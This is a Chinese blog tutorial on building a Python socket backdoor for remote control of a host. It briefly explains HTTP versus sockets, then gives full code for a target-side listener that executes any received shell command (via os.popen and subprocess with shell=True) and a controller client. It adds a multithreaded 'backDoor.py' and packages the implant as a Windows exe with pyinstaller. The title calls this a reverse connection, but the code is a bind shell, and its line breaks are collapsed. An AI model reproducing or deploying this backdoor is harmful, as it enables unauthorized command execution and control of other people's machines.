Python攻防-Socket通信建立TCP反向连接
文章目录
- 前言
- 远程控制
- 脚本编写
- 效果演示
- 脚本优化
- getopt ()
- 完整代码
- 效果演示
前言
本文将记录学习基于 Socket 通信机制建立 TCP 反向连接,借助 Python 脚本实现主机远程控制的目的。
我们在传输数据时,可以只使用(传输层)TCP/IP 协议,但是那样的话,如果没有应用层,便无法识别数据内容,如果想要使传输的数据有意义,则必须使用到应用层协议,应用层协议有很多,比如 HTTP、FTP、TELNET 等,也可以自己定义应用层协议。而 Socket 是对 TCP/IP 协议的封装,Socket 本身并不是协议,而是一个调用接口(API),通过 Socket 我们才能使用 TCP/IP 协议。
HTTP 连接与 Socket 连接的区别
- HTTP 是短连接,Socket (基于 TCP 协议的)是长连接。尽管 HTTP1.1 开始支持持久连接,但仍无法保证始终连接。而 Socket 连接一旦建立 TCP 三次握手,除非一方主动断开,否则连接状态一直保持。
- HTTP连接,服务端无法主动发消息,Socket 连接,双方请求的发送无先后限制。这点就比较重要了,因为它将决定二者分别适合应用在什么场景下。HTTP 采用“请求-响应”机制,在客户端还没发送消息给服务端前,服务端无法推送消息给客户端。必须满足客户端发送消息在前,服务端回复在后。Socket 连接双方类似 peer2peer 的关系,一方随时可以向另一方喊话。
什么时候该用 HTTP,什么时候该用 Socket?
- 用 HTTP 的情况:双方不需要时刻保持连接在线,比如客户端资源的获取、文件上传等。
- 用 Socket 的情况:大部分即时通讯应用(QQ、微信)、聊天室、苹果APNs等。
Python3 关于 Socket 网络编程的相关语法知识可以参见:Python3 网络编程。
远程控制
下面开始来看看如何借助 Python 实现对目标主机的远程控制。
脚本编写
ServerAttack.py 受控端脚本如下:
import socket
import osip = "" # 空表示可连接所有主机
port = 5555 # 设置端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 对象s 使用基于tcp协议的网络套接字
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 关闭后不需要保存状态可以立即开启
s.bind((ip, port)) # 对象s 开始绑定ip和端口
s.listen(10) # 启动监听状态,设置队列中等待连接服务器的最大请求数10
conn, addr = s.accept() # 当与别人建立连接 addr,conn 变量分别存对方ip和连接的对象
print("已建立远程连接:", addr) # 显示对方地址while True:data = conn.recv(1024) # 接收对方字符串 #如果对方不发数据会卡住if data == b"q": # 接收到程序终止信号则中断连接breakdata = str(data, encoding="utf8") # 将数据转换为字符串类型print("远程主机请求的命令:", data)f = os.popen(data) # 可以将命令的内容以读取的方式返回data2 = f.read()if data2 == "":conn.send(b"finish")else:conn.send(bytes(data2, encoding="utf8")) # 发送命令运行结果conn.close() # 断开连接
s.close() # 关闭套结字
ClientAttack.py 控制端脚本如下:
import socketip = "192.168.146.126" # 对方服务器ip地址
port = 5555 # 对方服务器的端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 对象s使用基于tcp协议的网络套接字
s.connect((ip, port)) # 创建socket连接while True:data = input("请输入命令:")data = bytes(data, encoding="utf8")s.send(data) # 发送数据给对方data2 = s.recv(1024) # 接收返回的数据print(str(data2, encoding="utf8"))if data == b"q":breaks.close()
效果演示
1、Linux 远控
将 ServerAttack.py 受控端脚本拷贝至 Linux 系统并运行,同时 Win10 物理机运行 ClientAttack.py 控制端脚本,可实现远程连接控制:
2、Windows 远控
使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可执行文件(pyinstaller -F ServerAttack.py
),然后在 Win7 虚拟机运行生成的 ServerAttack.exe 文件,效果如下:
脚本优化
下面使用多线程、脚本参数设置、脚本帮助提示、客户端服务端代码集成来优化上述实现远程控制的脚本。
getopt ()
Python 中 getopt 模块是专门用来处理命令行参数的,函数格式:
getopt(args, shortopts, longopts = [])
参数解析如下:
参数 | 释义 | 补充 |
---|---|---|
args | 要解析的参数列表 |
一般是sys.argv[1:] ,表示获取的参数不包括当前执行的 python 脚本名称
|
shortopts |
要识别的短格式 (-) 选项字符串,如果后接: 表示需要给定参数
|
如ab:c: ,表示识别 -a, -b 和 -c 的短选项,其中 -b 和 -c 需要后接参数
|
longopts = [] |
要识别的长格式(–)选项,如果后接= 表示需要给定参数
|
如[“help”, “user=”, “password=”],表示识别--help, --user=root, --password=123456 的长选项
|
函数返回值由两个元素组成:
- 第一个是 (option, value) 元组的列表,(option, value) 元组中的 option 表示包含
-或--
前缀的选项,value 表示该 option 对应的参数,可以为空字符串表示无参数; - 第二个是 args 剥离短选项及其参数和长选项及其参数之后剩余的参数列表。
完整代码
import socket
import getopt
import sys
import subprocess
from threading import Threaddef main():target = "" # 目标IPport = 0 # 目标端口listen = Falsehelp = False# 利用getopt模块从命令行获取参数,sys.argv[1:]可以过滤掉第一个参数(第一个参数是脚本的名称,它不应该作为参数进行解析)opts, args = getopt.getopt(sys.argv[1:], "t:p:hl")for o, a in opts:if o == "-t":target = aelif o == "-p":port = int(a)elif o == "-h":help = Trueelif o == "-l":listen = Trueelse:# 断言,传入的参数有误assert False, "Unhandled Option"# 输出帮助文档if help:usage()# 获分客户端和服务端if listen:server_handle(port)else:client_handle(target, port)# 受控端
def server_handle(port):# 创建socket通道server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 绑定server.bind(('0.0.0.0', port))# 监听server.listen(10)print("[*] Listening on 0.0.0.0:%d" % port)while True:client_socket, addr = server.accept()print("[*] Accept connection from %s:%d" % (addr[0], addr[1]))t = Thread(target=run_command, args=(client_socket, server,))t.start()# 控制端,发送命令,接收受控端命令行的回显内容
def client_handle(target, port):# 创建socket通道client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 连接服务器client.connect((target, port))# 接收数据while True:recv_len = 1# 接收到的数据是utf-8resBuffer = "".encode('utf-8')while recv_len:data = client.recv(4096)recv_len = len(data)resBuffer += dataif recv_len < 4096:break# 在windows下中文会乱码,所以转成GBKprint(resBuffer.decode('gbk'), end="")# 接收命令,发送命令需要将命令转成byte,并且编码是utf-8buffer = input("")if buffer.encode('utf-8') == b"quit":breakbuffer += "\n"client.send(buffer.encode('utf-8'))client.close()# 执行命令涵数
def run_command(client_socket,s):while True:# 发送命令给客户端client_socket.send(b"shell_>")# 定义接收命令byte类型变量cmd_buffer = "".encode('utf-8')# 接收客户端发过来的消息,直到预到换行,代表客户端消息输入完成while b"\n" not in cmd_buffer:cmd_buffer += client_socket.recv(1024)if cmd_buffer == b"quit":break# 将完整的byte变量消息转成字符串cmd_buffer = cmd_buffer.decode()try:# 通过隧道执行命令并以byte数据类型返回输出的数据out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)# 将返回的数据发送给客户端client_socket.send(out)except:client_socket.send(b"faild to execute the command")client_socket.close() # 断开连接s.close() # 关闭套结字exit(0)# 输出帮助信息
def usage():print("help info : python backDoor.py -h")print("client : python backDoor.py -t [target] -p [port]")print("server : python backDoor.py -lp [port]")print("Exit :Input quit to exit ")sys.exit()if __name__ == "__main__":main()
效果演示
获取脚本帮助提示、进行远程连接:
Python攻防-Socket通信建立TCP反向连接相关推荐
- python使用socket实现协议TCP长连接框架
点击上方↑↑↑蓝字[协议分析与还原]关注我们 " 使用python实现协议中常见的TCP长连接框架." 分析多了协议就会发现,很多的应用,特别是游戏类和IM类应用,它们的协议会使用 ...
- 如何基于Python写一个TCP反向连接后门
0x0 介绍 在Linux系统做未授权测试,我们须准备一个安全的渗透环境,通常第一件事就是安装虚拟机.且在攻击阶段中还需要对受害系统进行控制.常见的后门大多数是利用Metasploit生成,而目前反病 ...
- java socket建立长连接_Java Web项目中使用Socket通信多线程、长连接的方法
很多时候在javaweb项目中我们需要用到Socket通信来实现功能,在web中使用Socket我们需要建立一个监听程序,在程序启动时,启动socket监听.我们的应用场景是在java项目中,需要外接 ...
- C#建立TCP/IP连接
C#建立TCP/IP连接 在C/S模式下做网络信号传输,使用TCP/IP协议是首选. 其传输机制: 首先服务端与客户端建立套接字(socket)连接,建立完套接字后,服务端与客户端通过套接字进行数据传 ...
- python创建tcp socket_Python Socket如何建立TCP连接
在 Python 程序中创建 TCP 服务器时,创建通用 TCP 服务器的一般演示代码如下.需要记住的是,这仅是设计服务器的一种方式.一旦熟悉了服务器设计,可以修改下面的代码来操作服务器. ss = ...
- vc socket api建立TCP连接(包括域名解析)并收发数据的代码模板
VC和服务器建立TCP连接不像VB的winsock那样两三行代码就能搞定.虽然VC得MFC类库中也有CSocket.CAsyncSocket这样的类,但是这些类的毛病太多,还是返璞归真用socket ...
- C#和Python的Socket通信
目录 1.项目说明 2.Socket通信 2.1C#实现socket通信 2.2python实现socket通信 3.结果 3.1C#socket通信结果 3.2python和C# socket通信结 ...
- 手把手教你 Socket 通信(TCP/IP)
本文将给出完整 Socket 通信代码,在 eclipse 中亲测有效.在Android Studio中用Java开发也是一样的,只是把代码和控件搭配一下,注册监听就好. 网络上的两个程序通过一个双向 ...
- [python3.3]Python异步Socket编程【TCP】
参考: http://www.cnblogs.com/snailrun/p/3805188.html 异步网络据说能极大的提高网络server的连接速度,所以打算写一个专题,来学习和了解异步网络.因为 ...
最新文章
- 11岁姑娘挑战8分钟编程小程序!蚂蚁金服董事长井贤栋:欢迎加入
- LeetCode算法题13:DFS/BFS - 单词搜索
- 2016012075 谢月月 散列函数的应用及其安全性
- 成功男士的健康心理特征
- Hemberg-lab单细胞转录组数据分析(二)
- android、apple PUSH 异同比较
- 『教程』笔记本win7下自建Wifi热点–便于手机Wifi上网 (转 )
- 个人站立会议第二阶段04
- 计算机代码如何求三角形面积,简单的程序来计算三角形的面积
- CLR via C#, Third Edition图书推荐及下载
- 力扣-888 公平的糖果交换
- 拓端tecdat|R语言非参数模型厘定保险费率:局部回归、广义相加模型GAM、样条回归
- Serverless 极致弹性解构在线游戏行业痛点
- 机器学习之One-Hot Encoding详解
- EasyOCR,识别图片中的文字真的so easy
- Maven server structure problem
- android edittext的属性
- mysql 表结构的复制
- 移动硬盘格式化后数据恢复
- 同花顺股票交易接口的编写POST接口
热门文章
- 了解Python-白 驹 过 隙 , 忽 然 而 已
- 标题不劲爆,点进来看你就知道——3DMAX室内效果图展示
- 实战|用Python爬取《云南虫谷》3.6万条评论,并做数据统计可视化展示分析,好看!
- Lua 表(table)
- 人生29句毒言,句句醒脑!(建议收藏)
- 我搭建了一个随机「毒鸡汤」语录网站附源码下载
- CSS定位relative和absolute
- 曲面的外在几何(二)---特殊曲面(更新中……)
- 【Java】简单的音乐播放器
- 【苹果传文件】【苹果手机文件传输】windows系统 iPhone手机文件传输 win系统苹果手机【苹果传电影】【苹果传图片】【一眼就会】